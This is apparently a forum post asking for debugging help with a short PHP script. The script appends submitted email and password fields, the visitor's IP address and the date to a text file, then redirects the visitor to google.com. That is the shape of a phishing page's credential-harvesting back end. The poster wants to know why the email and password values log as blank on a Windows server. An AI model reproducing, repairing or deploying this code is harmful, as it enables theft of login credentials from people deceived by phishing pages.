I have used this script before on a linux box and I know it works, but when I use it on my new windows server 2003 server it does not work. In the past I resolved this issue with chmodding the files to 777, but you cant do that on windows.
here is the code:
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
It outputs a blank for the box1 and box2 data but it still logs the IP and date to the .txt file. suggestions please?